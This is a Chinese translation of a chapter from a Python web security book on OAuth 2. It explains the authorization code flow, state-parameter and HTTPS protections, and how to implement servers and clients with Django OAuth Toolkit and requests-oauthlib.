Python 全栈安全(三)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b

译者:飞龙

协议:CC BY-NC-SA 4.0

第十一章:OAuth 2

本章内容

  • 注册 OAuth 客户端

  • 请求对受保护资源的授权

  • 授权而不暴露身份验证凭据

  • 访问受保护的资源

OAuth 2是由 IETF 定义的行业标准授权协议。这个协议,我简称为OAuth,使用户能够授权第三方访问受保护的资源。最重要的是,它允许用户在不向第三方暴露他们的身份验证凭据的情况下这样做。在本章中,我将解释 OAuth 协议,并与 Alice、Bob 和 Charlie 一起详细介绍它。Eve 和 Mallory 也会出现。我还会向你展示如何使用两个很棒的工具 Django OAuth Toolkit 和requests-oauthlib来实现这个协议。

你可能已经使用过 OAuth 了。你是否曾经访问过 medium.com 这样的网站,可以使用“使用 Google 登录”或“使用 Twitter 登录”?这个功能,称为社交登录,旨在简化账户创建。这些网站不会纠缠你的个人信息,而是要求你允许它们从社交媒体网站检索你的个人信息。在底层,这通常是使用 OAuth 实现的。

在我们深入研究这个主题之前,我将用一个例子来说明一些词汇术语。这些术语由 OAuth 规范定义;它们在本章中反复出现。当你去 medium.com 并使用 Google 登录时

  • 你的谷歌账户信息是受保护的资源

  • 你是资源所有者;资源所有者是一个实体,通常是最终用户,有权授权访问受保护的资源。

  • Medium.com 是OAuth 客户端,一个第三方实体,当资源所有者允许时可以访问受保护的资源。

  • 谷歌托管着授权服务器,允许资源所有者授权第三方访问受保护的资源。

  • 谷歌还托管着资源服务器,守护着受保护的资源。

在现实世界中,资源服务器有时被称为API。在本章中,我避免使用这个术语,因为它有歧义。授权服务器和资源服务器几乎总是属于同一组织;对于小型组织来说,它们甚至是同一个服务器。图 11.1 展示了这些角色之间的关系。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.1 Google 通过 OAuth 进行社交登录

谷歌和第三方网站通过实现一个工作流程进行合作。这个工作流程,或授权类型,由 OAuth 规范定义。在下一节中,你将详细了解这个授权类型。

11.1 授权类型

授权类型定义了资源所有者如何授予对受保护资源的访问权限。OAuth 规范定义了四种授权类型。在本书中,我只讨论了一种,即授权码。这种授权类型占据了绝大多数 OAuth 使用情况;现在先不要关注其他三种。以下列表概述了每种授权类型及其适用的用例:

  • 授权码授权适用于网站、移动应用程序和基于浏览器的应用程序。

  • 隐式授权曾经是移动和基于浏览器的应用程序的推荐授权类型。但这种授权类型已经被弃用。

  • 密码授权通过要求资源所有者通过第三方提供其凭据,从而消除了对授权服务器的需求。

  • 客户端凭据授权适用于资源所有者和第三方是同一实体的情况。

在您的工作和个人生活中,您可能只会看到授权码授权。隐式授权已被弃用,密码授权固有地不太安全,客户端凭据授权的用例很少见。下一节将介绍授权码流,OAuth 的主要部分。

11.1.1 授权码流

授权 码流由一个明确定义的协议实现。在此协议开始之前,第三方必须首先注册为授权服务器的 OAuth 客户端。OAuth 客户端注册为协议建立了几个前提条件,包括 OAuth 客户端的名称和凭据。协议中的每个参与者在协议的各个阶段使用此信息。

授权码流协议分为四个阶段:

  1. 请求授权

  2. 授予权限

  3. 执行令牌交换

  4. 访问受保护的资源

四个阶段中的第一个始于资源所有者访问 OAuth 客户端站点时。

请求授权

在协议的此阶段(图 11.2 中所示)期间,OAuth 客户端通过将资源所有者发送到授权服务器来请求授权。通过普通链接、HTTP 重定向或 JavaScript,站点将资源所有者指向授权 URL。这是授权服务器托管的授权表单的地址。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.2 资源所有者访问第三方站点;该站点将其指向授权服务器托管的授权表单。

下一阶段开始时,授权服务器向资源所有者呈现授权表单。

授予权限

在协议的此阶段(图 11.3 中所示)期间,资源所有者通过授权服务器向 OAuth 客户端授予对受保护资源的访问权限。授权表单负责确保资源所有者做出知情决定。然后,资源所有者通过提交授权表单来授予权限。

接下来,授权服务器将资源所有者重定向回到他们来自的地方,即 OAuth 客户端站点。这是通过将他们重定向到一个称为重定向 URI的 URL 来完成的。第三方在 OAuth 客户端注册过程中预先设置了重定向 URI。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.3 资源所有者通过提交授权表单来授予授权;授权服务器会使用授权码将所有者重定向回第三方站点。

授权服务器将一个重要的查询参数附加到重定向 URI 中;此查询参数被命名为code,如authorization code中所示。换句话说,授权服务器通过将其反射到资源所有者身上将授权码传递给 OAuth 客户端。

第三阶段始于 OAuth 客户端从入站重定向 URI 中解析授权码。

执行令牌交换

在此阶段,如图 11.4 所示,OAuth 客户端会将授权码交换为访问令牌。然后,该代码将与 OAuth 客户端注册凭据一起直接发送回到它来自的地方,即授权服务器。

授权服务器验证代码和 OAuth 客户端凭据。代码必须熟悉、未使用、最近的,并且与 OAuth 客户端标识符关联。客户端凭据必须有效。如果满足每个标准,授权服务器将响应一个访问令牌。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.4 从重定向 URI 解析授权码后,OAuth 客户端将其发送回到它来自的地方;授权服务器将响应一个访问令牌。

最后一个阶段始于 OAuth 客户端向资源服务器发送请求。

访问受保护资源

在此阶段,如图 11.5 所示,OAuth 客户端使用访问令牌来访问受保护的资源。此请求在标头中携带访问令牌。资源服务器负责验证访问令牌。如果令牌有效,则授予 OAuth 客户端对受保护资源的访问权限。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.5 使用访问令牌,第三方站点向资源服务器请求受保护的资源。

图 11.6 描述了从开始到结束的授权码流程。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.6 我们的 OAuth 授权码流程

在下一节中,我将再次与 Alice、Bob 和 Charlie 一起详细介绍此协议。

11.2 Bob 授权 Charlie

在之前的章节中,你为 Alice 制作了一个网站;Bob 注册为它的用户。在这个过程中,Bob 信任 Alice 的个人信息,即他的电子邮件。在本节中,Alice、Bob 和 Charlie 合作开展一个新的工作流程。Alice 将她的网站转变为授权服务器和资源服务器。Charlie 的新网站请求 Bob 的许可,以从 Alice 的网站检索 Bob 的电子邮件。Bob 授权 Charlie 的网站,而不会暴露他的身份验证凭据。在下一节中,我将向你展示如何实现这个工作流程。

这个工作流程是之前介绍的授权授予类型的实现。它从 Charlie 开始,他在 Python 中构建一个新网站。Charlie 决定通过 OAuth 与 Alice 的网站集成。这提供了以下好处:

  • Charlie 可以要求 Bob 提供他的电子邮件地址。

  • Bob 更有可能分享他的电子邮件地址,因为他不需要输入它。

  • Charlie 避免构建用户注册和电子邮件确认的工作流程。

  • Bob 少记住一个密码。

  • Charlie 不需要承担管理 Bob 密码的责任。

  • Bob 节省了时间。

作为 authorize.alice.com 的超级用户,Alice 通过她的网站的管理控制台为 Charlie 注册了一个 OAuth 客户端。图 11.7 展示了 OAuth 客户端注册表单。请花一分钟观察这个表单有多少熟悉的字段。这个表单包含了 OAuth 客户端凭据、名称和重定向 URI 的字段。请注意,授权码选项被选中为授权授予类型字段。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.7 Django 管理控制台中的 OAuth 客户端注册表单

11.2.1 请求授权

Bob 访问 Charlie 的网站,client.charlie.com。Bob 对这个网站不熟悉,所以它呈现了接下来的链接。这个链接的地址是一个授权 URL;它是由授权服务器 authorize.alice.com 托管的授权表单的地址。授权 URL 的前两个查询参数是必需的,以粗体字显示。response_type参数设置为code,就像授权码一样。第二个参数是 Charlie 的 OAuth 客户端 ID:

<a href='https:/./authorize.alice.com/o/authorize/?
➥ response_type=code&                                    # ❶
➥ client_id=Q7kuJVjbGbZ6dGlwY49eFP7fNFEUFrhHGGG84aI3&    # ❶
➥ state=ju2rUmafnEIxvSqphp3IMsHvJNezWb'>                 # ❷
    What is your email?
</a>

❶ 必需的查询参数

❷ 一个可选的安全功能

state参数是一个可选的安全功能。稍后,当 Bob 授权 Charlie 的网站后,Alice 的授权服务器将通过将其附加到重定向 URI 来将此参数回显到 Charlie 的网站。我稍后会解释为什么,在本节的结尾。

11.2.2 授予权限

Bob 通过点击链接导航到 authorize.alice.com。Bob 碰巧已经登录,所以 authorize.alice.com 不会麻烦他进行身份验证;授权表单立即呈现。这个表单的目的是确保 Bob 做出知情决定。表单询问 Bob 是否愿意将他的电子邮件地址提供给 Charlie 的网站,使用 Charlie 的 OAuth 客户端的名称。

Bob 通过提交授权表单来授予权限。然后,Alice 的授权服务器将他重定向回 Charlie 的站点。重定向 URI 包含两个参数。授权码由 code 参数携带,如粗体所示;Charlie 的站点稍后将用此来交换访问令牌。state 参数的值与通过授权 URL 到达的值匹配:

https:/./client.charlie.com/oauth/callback/?    # ❶
➥ code=CRN7DwyquEn99mrWJg5iAVVlJZDTzM&        # ❷
➥ state=ju2rUmafnEIxvSqphp3IMsHvJNezWb        # ❸

❶ 重定向 URI

❷ 授权码

❸ 将状态回映到 Charlie 的站点

11.2.3 令牌交换

Charlie 的站点通过解析重定向 URI 中的代码并将其直接发送回 Alice 的授权服务器来开始此阶段。Charlie 通过调用一个称为令牌端点的服务来执行此操作。其目的是验证传入的授权码并将其交换为访问令牌。此令牌包含在令牌端点响应的主体中。

访问令牌很重要;任何拥有此令牌的人或机器都可以请求 Bob 的电子邮件,而无需他的用户名或密码。Charlie 的站点甚至不让 Bob 看到令牌。由于这个令牌非常重要,它受到可以用于什么可以使用多长时间的限制。这些限制由令牌端点响应中的两个附加字段指定:scopeexpires_in

接下来显示了令牌端点响应主体。访问令牌,范围和到期时间如粗体所示。此响应指示 Alice 的授权服务器允许 Charlie 的站点使用一个 36,000 秒(10 小时)有效的访问令牌访问 Bob 的电子邮件:

{
 'access_token': 'A2IkdaPkmAjetNgpCRNk0zR78DUqoo',   # ❶
 'token_type': 'Bearer'                              # ❶
 'scope': 'email',                                   # ❷
 'expires_in': 36000,                                # ❷
 ...
}

❶ 指定权限

❷ 通过范围和时间限制权限

11.2.4 访问受保护的资源

最后,Charlie 的站点使用访问令牌从 Alice 的资源服务器检索 Bob 的电子邮件。此请求通过Authorization请求头将访问令牌传递到资源服务器。访问令牌如粗体所示:

GET /protected/name/ HTTP/1.1
Host: resource.alice.com
Authorization: Bearer A2IkdaPkmAjetNgpCRNk0zR78DUqoo

Alice 的资源服务器有责任验证访问令牌。这意味着受保护的资源,即 Bob 的电子邮件,处于范围内,并且访问令牌尚未过期。最后,Charlie 的站点收到一个包含 Bob 的电子邮件的响应。最重要的是,Charlie 的站点在没有 Bob 的用户名或密码的情况下完成了这个操作。

阻止 Mallory

你还记得 Charlie 的站点在授权 URL 中附加了一个 state 参数吗?然后 Alice 的授权服务器通过在重定向 URI 中附加完全相同的参数来回映它?Charlie 的站点通过将 state 参数设置为随机字符串使每个授权 URL 变得唯一。当字符串返回时,站点将其与发送的本地副本进行比较。如果值匹配,Charlie 的站点得出结论,Bob 只是按预期从 Alice 的授权服务器返回。

如果重定向 URI 中的状态值与授权 URL 的状态值不匹配,查理的站点将中止流程;甚至不会尝试将授权代码交换为访问令牌。为什么?因为如果鲍勃是从爱丽丝那里获取重定向 URI 的话,这种情况是不可能发生的。而只有当鲍勃从其他人那里获取重定向 URI(比如玛洛丽)时,才会发生这种情况。

假设爱丽丝和查理不支持这个可选的安全检查。玛洛丽注册为爱丽丝网站的用户。然后,她从爱丽丝的服务器请求授权表单。玛洛丽提交了授权表单,允许查理的站点访问她帐户的电子邮件地址。但是,她没有按照重定向 URI 返回到查理的站点,而是把重定向 URI 发送给鲍勃,作为恶意电子邮件或聊天消息。鲍勃上钩了,按照玛洛丽的重定向 URI 进行了跟踪。这将他带到了查理的站点,并带有玛洛丽账户的有效授权代码。

查理的站点将玛洛丽的代码交换为有效的访问令牌。它使用访问令牌检索玛洛丽的电子邮件地址。玛洛丽现在有机会欺骗查理和鲍勃。首先,查理的站点可能会错误地将玛洛丽的电子邮件地址分配给鲍勃。其次,鲍勃可能会从查理的站点获取有关自己个人信息的错误印象。现在想象一下,如果查理的站点请求其他形式的个人信息——例如健康记录——情况会有多严重。图 11.8 描绘了玛洛丽的攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.8 玛洛丽诱使鲍勃将她的授权代码提交给查理。

在这一节中,你看到了爱丽丝、鲍勃和查理在对抗玛洛丽的同时合作进行工作流程。这个工作流程涵盖了客户注册、授权、令牌交换和资源访问。在接下来的两节中,你将学习如何使用两个新工具构建这个工作流程,即 Django OAuth Toolkit 和 requests-oauthlib

11.3 Django OAuth Toolkit

在本节中,我将向你展示如何将任何 Django 应用服务器转换为授权服务器、资源服务器或两者兼具。在此过程中,我将向你介绍一个重要的 OAuth 构造,称为 scopes。Django OAuth Toolkit(DOT)是一个在 Python 中实现授权和资源服务器的优秀库。DOT 借助一系列可定制的视图、装饰器和实用程序将 OAuth 带到 Django 中。它还与 requests-oauthlib 很好地配合;这两个框架都将繁重的工作委托给一个称为 oauthlib 的第三方组件。

注意 oauthlib 是一个通用的 OAuth 库,没有 Web 框架依赖;这使得它可以在各种 Python Web 框架中使用,而不仅仅是 Django。

在你的虚拟环境中,使用以下命令安装 DOT:

$ pipenv install django-oauth-toolkit

接下来,在你的 Django 项目的 settings 模块中安装 oauth2_provider Django 应用程序。这行代码,如下所示,属于授权服务器和资源服务器,而不是 OAuth 客户端应用程序:

INSTALLED_APPS = [
    ...
    'oauth2_provider',     # ❶
]

❶ 将你的 Django 项目转换为授权服务器、资源服务器,或两者兼有

使用以下命令运行已安装的 oauth2_provider 应用的迁移。这些迁移创建的表存储授权代码、访问令牌以及注册的 OAuth 客户端的账户详情:

$ python manage.py migrate oauth2_provider

在 urls.py 中添加以下路径条目。这包括一打负责 OAuth 客户端注册、授权、令牌交换等的端点:

urlpatterns = [
    ...
    path('o/', include(
     'oauth2_provider.urls', namespace='oauth2_provider')),
]

重新启动服务器并登录到管理员控制台,在 /admin/ 路径下。管理员控制台欢迎页面除了认证和授权之外还有一个新的菜单用于 Django OAuth Toolkit。管理员可以从这个菜单中管理令牌、授权和 OAuth 客户端。

注意在现实世界中,授权服务器和资源服务器几乎总是属于同一组织。对于中小型实施(例如,不是 Twitter 或 Google),授权服务器和资源服务器是同一服务器。在本节中,我分别介绍了它们的角色,但出于简单起见,将它们的实现合并在一起。

在接下来的两个部分中,我将分解你的授权服务器和资源服务器的职责。这些职责包括支持一个重要的 OAuth 功能,称为范围

11.3.1 授权服务器职责

DOT 提供用于处理授权服务器职责的 Web 用户界面、配置设置和工具。这些职责包括以下内容:

  • 定义范围

  • 验证资源所有者

  • 生成重定向 URI

  • 管理授权代码

定义范围

资源所有者通常希望对第三方访问进行细粒度的控制。例如,Bob 可能愿意与 Charlie 分享他的电子邮件,但不分享他的聊天记录或健康记录。OAuth 通过范围满足了这种需求。范围需要协议的每个参与者进行协调;它们由授权服务器定义,由 OAuth 客户端请求,并由资源服务器执行。

范围在授权服务器的 settings 模块中使用 SCOPES 设置进行定义。此设置是一组键值对。每个键表示范围对机器的意义;每个值表示范围对人的意义。键最终出现在授权 URL 和重定向 URI 的查询参数中;值在授权表单中显示给资源所有者。

确保你的授权服务器配置了一个邮件范围,如下面代码中的粗体所示。与其他 DOT 配置设置一样,SCOPES 位于方便的 OAUTH2_PROVIDER 命名空间下:

OAUTH2_PROVIDER = {     # ❶
    ...
 'SCOPES': {
 'email': 'Your email',
 'name': 'Your name',
 ...
 },
    ...
}

❶ Django OAuth Toolkit 配置命名空间

范围是由 OAuth 客户端可选请求的。这是通过将一个可选的查询参数附加到授权 URL 上实现的。该参数名为 scope,伴随着 client_idstate 参数。

如果授权 URL 没有 scope 参数,授权服务器将回退到一组默认范围。默认范围由授权服务器中的 DEFAULT_SCOPES 设置定义。该设置表示在授权 URL 没有范围参数时要使用的范围列表。如果未指定,该设置默认为 SCOPES 中的所有内容:

OAUTH2_PROVIDER = {
    ...
 'DEFAULT_SCOPES': ['email', ],
    ...
}

资源所有者身份验证

身份验证是授权的先决条件;因此,如果资源所有者尚未登录,则服务器必须向其挑战以获取身份验证凭据。DOT 通过利用 Django 身份验证来避免重复发明轮子。资源所有者使用与直接进入网站时相同的常规登录页面进行身份验证。

您的登录页面只需添加一个额外的隐藏输入字段。这个字段在这里用粗体显示,让服务器在用户登录后将用户重定向到授权表单:

<html>
    <body>

       <form method='POST'>
         {% csrf_token %}                                  <!-- ❶ -->
         {{ form.as_p }}                                   <!-- ❷ -->
 <input type="hidden" name="next" value="{{ next }}" />    <!-- ❸ -->
         <button type='submit'>Login</button>
       </form>

    </body>
</html>

❶ 必要,但在第十六章中已涵盖

❷ 动态呈现为用户名和密码表单字段

❸ 隐藏的 HTML 字段

生成重定向 URI

DOT 为您生成重定向 URI,但默认情况下将支持 HTTP 和 HTTPS。以这种方式推送您的系统到生产环境是一个非常糟糕的主意。

警告 每个生产重定向 URI 应该使用 HTTPS,而不是 HTTP。在授权服务器中强制执行这一点,而不是在每个 OAuth 客户端中。

假设 Alice 的授权服务器通过 HTTP 将 Bob 重定向回 Charlie 的站点,并使用重定向 URI。这将向网络窃听者 Eve 显示代码和状态参数。Eve 现在有可能在 Charlie 之前将 Bob 的授权码交换为访问令牌。图 11.9 展示了 Eve 的攻击。当然,她需要 Charlie 的 OAuth 客户端凭据才能成功。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.9 Bob 收到 Alice 的授权码;Eve 拦截该代码并在 Charlie 之前将其发送回 Alice。

ALLOWED_REDIRECT_URI_SCHEMES 设置添加到 settings 模块中,如下所示,以强制所有重定向 URI 使用 HTTPS。该设置是一个字符串列表,表示允许重定向 URI 具有哪些协议:

OAUTH2_PROVIDER = {
    ...
 'ALLOWED_REDIRECT_URI_SCHEMES': ['https'],
    ...
}

管理授权码

每个授权码都有一个过期时间。资源所有者和 OAuth 客户端负责在此时间限制内操作。授权服务器不会将过期的授权码交换为访问令牌。这对于攻击者来说是一种威慑,对于资源所有者和 OAuth 客户端来说是一个合理的障碍。如果攻击者设法拦截授权码,他们必须能够快速将其交换为访问令牌。

使用AUTHORIZATION_CODE_EXPIRE_SECONDS设置来配置授权码的过期时间。此设置表示授权码的生存时间,以秒为单位。此设置在授权服务器中配置,并由其执行。此设置的默认值为 1 分钟;OAuth 规范建议最长为 10 分钟。以下示例配置 DOT 拒绝任何早于 10 秒的授权码:

OAUTH2_PROVIDER = {
    ...
 'AUTHORIZATION_CODE_EXPIRE_SECONDS': 10,
    ...
}

DOT 提供了一个授权码管理的管理控制台 UI。通过点击管理员控制台欢迎页面上的授权码链接或导航到/admin/oauth2_provider/grant/来访问授权页面。管理员使用此页面搜索和手动删除授权码。

管理员通过点击任何授权码来导航到授权码详情页面。该页面允许管理员查看或修改授权码属性,如过期时间、重定向 URI 或范围。

11.3.2 资源服务器责任

与授权服务器开发一样,DOT 提供了用于处理资源服务器责任的 Web 界面、配置设置和实用程序。这些责任包括以下内容:

  • 管理访问令牌

  • 为受保护的资源提供服务

  • 强制作用域

管理访问令牌

与授权码一样,访问令牌也有一个过期时间。资源服务器通过拒绝任何带有过期访问令牌的请求来执行此过期。这不会阻止访问令牌落入错误手中,但如果发生这种情况,可以限制损害。

使用ACCESS_TOKEN_EXPIRE_SECONDS设置来配置每个访问令牌的生存时间。默认值在这里以粗体显示,为 36,000 秒(10 小时)。在您的项目中,此值应尽可能短,但足以让 OAuth 客户端完成其工作:

OAUTH2_PROVIDER = {
    ...
 'ACCESS_TOKEN_EXPIRE_SECONDS': 36000,
    ...
}

DOT 提供了一个类似于授权码管理页面的访问令牌管理界面。管理员可以通过点击管理员控制台欢迎页面上的访问令牌链接或导航到/admin/oauth2_provider/accesstoken/来访问访问令牌页面。管理员使用此页面搜索和手动删除访问令牌。

从访问令牌页面,管理员导航到访问令牌详情页面。管理员使用访问令牌详情页面来查看和修改访问令牌属性,如过期时间。

为受保护的资源提供服务

与未受保护的资源一样,受保护的资源由视图提供服务。在您的资源服务器中添加清单 11.1 中的视图定义。注意EmailView扩展了粗体显示的ProtectedResourceView。这确保了只有持有有效访问令牌的授权 OAuth 客户端才能访问用户的电子邮件。

清单 11.1 使用 ProtectedResourceView 为受保护资源提供服务

from django.http import JsonResponse
from oauth2_provider.views import ProtectedResourceView

class EmailView(ProtectedResourceView):     # ❶
    def get(self, request):                 # ❷
        return JsonResponse({               # ❸
            'email': request.user.email,    # ❸
        })                                  # ❸

❶ 需要有效的访问令牌

❷ 被像 client.charlie.com 这样的 OAuth 客户端调用

❸ 为 Bob 的电子邮件等受保护的资源提供服务

当 OAuth 客户端请求受保护的资源时,它肯定不会发送用户的 HTTP 会话 ID。(在第七章,您了解到会话 ID 是一个用户与一个服务器之间的重要秘密。)那么,资源服务器如何确定请求适用于哪个用户?它必须从访问令牌开始工作。DOT 通过OAuth2TokenMiddleware透明地执行这一步。这个类从访问令牌推断用户,并将request.user设置为如果受保护的资源请求直接来自用户。

打开您的设置文件,并将OAuth2TokenMiddleware,如下面的加粗所示,添加到MIDDLEWARE中。确保您将此组件放在SecurityMiddleware之后:

MIDDLEWARE = [
    ...
 'oauth2_provider.middleware.OAuth2TokenMiddleware',
]

OAuth2TokenMiddleware通过OAuth2Backend的帮助解析用户,如下面的加粗所示。将此组件添加到settings模块中的AUTHENTICATION_BACKENDS中。确保内置的ModelBackend仍然完好无损;这个组件对终端用户身份验证是必要的:

AUTHENTICATION_BACKENDS = [
    'django.contrib.auth.backends.ModelBackend',    # ❶
 'oauth2_provider.backends.OAuth2Backend',       # ❷
]

❶ 验证用户

❷ 验证 OAuth 客户端

强制执行范围

DOT 资源服务器使用ScopedProtectedResourceView强制执行范围。从这个类继承的视图不仅需要一个有效的访问令牌;它们还确保受保护的资源在访问令牌的范围内。

列表 11.2 定义了ScopedEmailView,它是ScopedProtectedResourceView的子类。与列表 11.1 中的EmailView相比,ScopedEmailView只有两个小差别,如下面的加粗所示。首先,它继承自ScopedProtectedResourceView而不是ProtectedResourceView。其次,required_scopes属性定义了要强制执行的范围。

列表 11.2 使用ScopedProtectedResourceView提供受保护的资源

from django.http import JsonResponse
from oauth2_provider.views import ScopedProtectedResourceView

class ScopedEmailView(ScopedProtectedResourceView):    # ❶
 required_scopes = ['email', ]                      # ❷

    def get(self, request):
        return JsonResponse({
            'email': request.user.email,
        })

❶ 需要有效的访问令牌并强制执行范围

❷ 指定要强制执行的范围

将范围分为两类通常很有用:读取或写入。这使资源所有者能够更精细地控制。例如,Bob 可能授予 Charlie 对他的电子邮件的读取访问权限和对他的姓名的写入访问权限。这种方法有一个不幸的副作用:它使范围的数量翻倍。DOT 通过本地支持读取和写入范围的概念来避免这个问题。

DOT 资源服务器使用ReadWriteScopedResourceView自动强制执行读取和写入范围。这个类比ScopedProtectedResourceView进一步验证入站访问令牌的范围与请求的方法是否匹配。例如,如果请求方法是GET,则访问令牌必须具有读取范围;如果请求方法是POSTPATCH,则必须具有写入范围。

列表 11.3 定义了ReadWriteEmailView,它是ReadWriteScopedResourceView的子类。ReadWriteEmailView允许 OAuth 客户端通过使用get方法和patch方法分别读取和写入资源所有者的电子邮件。传入的访问令牌必须具有读取和邮件范围以使用get方法;它必须具有写入和邮件范围以使用patch方法。读取和写入范围不会出现在required_scopes中;它们是隐式的。

列表 11.3 使用 ReadWriteScopedResourceView 提供保护服务

import json
from django.core.validators import validate_email
from oauth2_provider.views import ReadWriteScopedResourceView

class ReadWriteEmailView(ReadWriteScopedResourceView):
    required_scopes = ['email', ]

    def get(self, request):                   # ❶
        return JsonResponse({                 # ❶
            'email': request.user.email,      # ❶
        })                                    # ❶

    def patch(self, request):                 # ❷
        body = json.loads(request.body)       # ❷
        email = body['email']                 # ❷
        validate_email(email)                 # ❷
        user = request.user                   # ❷
        user.email = email                    # ❷
        user.save(update_fields=['email'])    # ❷
        return HttpResponse()                 # ❷

❶ 需要读取和邮件范围

❷ 需要写入和邮件范围

基于函数的视图

DOT 为基于函数的视图提供函数装饰器。这里粗体显示的@protected_resource装饰器在功能上类似于ProtectedResourceViewScopedProtectedResourceView。单独使用此装饰器确保调用者拥有访问令牌。scopes参数确保访问令牌具有足够的范围:

from oauth2_provider.decorators import protected_resource

@protected_resource()                        # ❶
def protected_resource_view_function(request):
    ...
    return HttpResponse()

@protected_resource(scopes=['email'])        # ❷
def scoped_protected_resource_view_function(request):
    ...
    return HttpResponse()

❶ 需要有效的访问令牌

❷ 需要有效的带有邮件范围的访问令牌

这里粗体显示的rw_protected_resource decorator在功能上类似于ReadWriteScopedResourceView。对于带有rw_protected_resource修饰的视图的 GET 请求必须携带具有读取范围的访问令牌。对于同一视图的 POST 请求必须携带具有写入范围的访问令牌。scopes参数指定了其他范围:

from oauth2_provider.decorators import rw_protected_resource

@rw_protected_resource()                     # ❶
def read_write_view_function(request):
    ...
    return HttpResponse()

@rw_protected_resource(scopes=['email'])     # ❷
def scoped_read_write_view_function(request):
    ...
    return HttpResponse()

❶ GET 需要读取范围,POST 需要写入范围

❷ GET 需要读取和邮件范围,POST 需要写入和邮件范围

大多数主要使用 OAuth 的程序员是从客户端进行操作的。像查理这样的人比像爱丽丝这样的人更常见;OAuth 客户端比 OAuth 服务器自然要多。在下一节中,您将学习如何使用requests-oauthlib实现 OAuth 客户端。

11.4 requests-oauthlib

requests-oauthlib是在 Python 中实现 OAuth 客户端的出色库。此库将另外两个组件粘合在一起:requests包和oauthlib。在您的虚拟环境中,运行以下命令来安装requests_oauthlib

$ pipenv install requests_oauthlib

在第三方项目中声明一些常量,从客户端注册凭据开始。在本例中,我将客户端密钥存储在 Python 中。在生产系统中,您的客户端密钥应该安全地存储在密钥管理服务中,而不是您的代码库中:

CLIENT_ID = 'Q7kuJVjbGbZ6dGlwY49eFP7fNFEUFrhHGGG84aI3'
CLIENT_SECRET = 'YyP1y8BCCqfsafJr0Lv9RcOVeMjdw3HqpvIPJeRjXB...'

接下来,定义授权表单、令牌交换端点和受保护资源的 URL:

AUTH_SERVER = 'https:/./authorize.alice.com'
AUTH_FORM_URL = '%s/o/authorize/' % AUTH_SERVER
TOKEN_EXCHANGE_URL = '%s/o/token/' % AUTH_SERVER
RESOURCE_URL = 'https:/./resource.alice.com/protected/email/'

域名

在本章中,我使用诸如authorize.alice.comclient.charlie.com等域名,以避免将您与对 localhost 的含糊引用混淆。为了跟上内容,您不必在本地开发环境中这样做;使用 localhost 就可以了。

只需确保你的第三方服务器绑定到与授权服务器不同的端口即可。服务器的端口由bind参数指定,如下所示加粗显示:

$ gunicorn third.wsgi --bind localhost:8001 \              # ❶
                      --keyfile path/to/private_key.pem \
                      --certfile path/to/certificate.pem

❶ 将服务器绑定到 8001 端口

在下一节中,你将使用这些配置设置来请求授权、获取访问令牌和访问受保护资源。

11.4.1 OAuth 客户端职责

requests-oauthlib 使用 OAuth2Session 处理 OAuth 客户端的职责,它是 Python OAuth 客户端的瑞士军刀。该类旨在自动完成以下操作:

  • 生成授权 URL

  • 将授权码交换为访问令牌

  • 请求受保护资源

  • 撤销访问令牌

将列表 11.4 中的视图添加到你的第三方项目中。WelcomeView 在用户的 HTTP 会话中查找访问令牌。然后,它请求两者之一:用户的授权或来自资源服务器的电子邮件。如果没有访问令牌可用,则渲染一个带有授权 URL 的欢迎页面;如果有访问令牌可用,则渲染一个带有用户电子邮件的欢迎页面。

列表 11.4 OAuth 客户端 WelcomeView

from django.views import View
from django.shortcuts import render
from requests_oauthlib import OAuth2Session

class WelcomeView(View):
    def get(self, request):
        access_token = request.session.get('access_token')
        client = OAuth2Session(CLIENT_ID, token=access_token)
        ctx = {}

        if not access_token:
            url, state = client.authorization_url(AUTH_FORM_URL)    # ❶
            ctx['authorization_url'] = url                          # ❶
            request.session['state'] = state                        # ❶
        else:
            response = client.get(RESOURCE_URL)                     # ❷
            ctx['email'] = response.json()['email']                 # ❷

        return render(request, 'welcome.html', context=ctx)

❶ 请求授权

❷ 访问受保护资源

OAuth2Session 用于生成授权 URL 或检索受保护资源。请注意,状态值的副本存储在用户的 HTTP 会话中;期望授权服务器在协议的后续阶段回显此值。

接下来,将以下欢迎页面模板添加到你的第三方项目中。如果用户的电子邮件已知,则渲染用户的电子邮件。否则,渲染授权链接(加粗显示):

<html>
    <body>
        {% if email %}
            Email: {{ email }}
        {% else %}
            <a href='{{ authorization_url }}'>    <!-- ❶ -->
                What is your email?               <!-- ❶ -->
            </a>                                  <!-- ❶ -->
        {% endif %}
    </body>
</html>

❶ 请求授权

请求授权

有许多请求授权的方法。在本章中,我为了简单起见使用链接来完成。或者,你可以通过重定向来完成。此重定向可以在 JavaScript、视图或自定义中间件组件中进行。

接下来,将列表 11.5 中的视图添加到你的第三方项目中。与 WelcomeView 一样,OAuthCallbackView 首先通过会话状态初始化 OAuth2Session。此视图将令牌交换委托给 OAuth2Session,并提供重定向 URI 和客户端密钥。然后将访问令牌存储在用户的 HTTP 会话中,WelcomeView 可以访问它。最后,用户被重定向回欢迎页面。

列表 11.5 OAuth 客户端 OAuthCallbackView

from django.shortcuts import redirect
from django.urls import reverse
from django.views import View

class OAuthCallbackView(View):
    def get(self, request):
        state = request.session.pop('state')
        client = OAuth2Session(CLIENT_ID, state=state)

        redirect_URI = request.build_absolute_uri()
        access_token = client.fetch_token(          # ❶
            TOKEN_EXCHANGE_URL,                     # ❶
            client_secret=CLIENT_SECRET,            # ❶
            authorization_response=redirect_URI)    # ❶
        request.session['access_token'] = access_token

        return redirect(reverse('welcome'))         # ❷

❶ 请求授权

❷ 将用户重定向回欢迎页面

fetch_token 方法为 OAuthCallbackView 执行了大量工作。首先,此方法从重定向 URI 中解析代码和状态参数。然后,它将入站状态参数与从用户的 HTTP 会话中提取的状态进行比较。如果两个值不匹配,则引发 MismatchingStateError,并且授权码永远不会被使用。如果两个状态值匹配,则 fetch_token 方法将授权码和客户端密钥发送到令牌交换端点。

撤销令牌

